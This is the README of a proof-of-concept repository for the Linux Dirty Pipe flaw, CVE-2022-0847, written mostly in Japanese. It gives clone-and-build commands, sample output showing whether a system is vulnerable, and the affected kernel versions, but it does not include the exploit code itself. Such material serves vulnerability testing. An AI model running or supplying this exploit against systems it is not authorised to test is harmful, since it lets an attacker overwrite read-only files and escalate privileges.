
CVE-2022-0847 POC
CVE-2022-0847 POC - https://dirtypipe.cm4all.com/
このエクスプロイトは、CVE-2022-0847 脆弱性を利用して読み取り専用ファイルを上書きしようとします。
make exploit を実行すると、以下の処理が行われます:
read_only_file.txt を作成するdirtypipe エクスプロイトを実行する。dirtypipe エクスプロイトが成功したか確認する。システムが脆弱かどうかは、make exploit の出力で判断できます:
foo@bar:~$ make exploit # vulnerable
[*] Creating read_only_file.txt...
[*] Press any key to continue...
[*] Running exploit...
[*] Exploit was successful!
foo@bar:~$ make exploit # not vulnerable
[*] Creating read_only_file.txt...
[*] Press any key to continue...
[*] Running exploit...
[!] Exploit was not successful!
foo@bar:~$ cd /tmp # We don't need to keep these files.
foo@bar:~$ git clone https://github.com/breachnix/dirty-pipe-poc && cd dirty-pipe-poc
foo@bar:~$ make && make exploit # make & cc will need to be installed.
この脆弱性は、5.8 より高く、5.16.11、5.15.25、または 5.10.102 より低いカーネルバージョンに影響します。
カーネルバージョンは uname -sr を実行して確認できます:
foo@bar:~$ uname -sr
Linux 5.10.0-12-amd64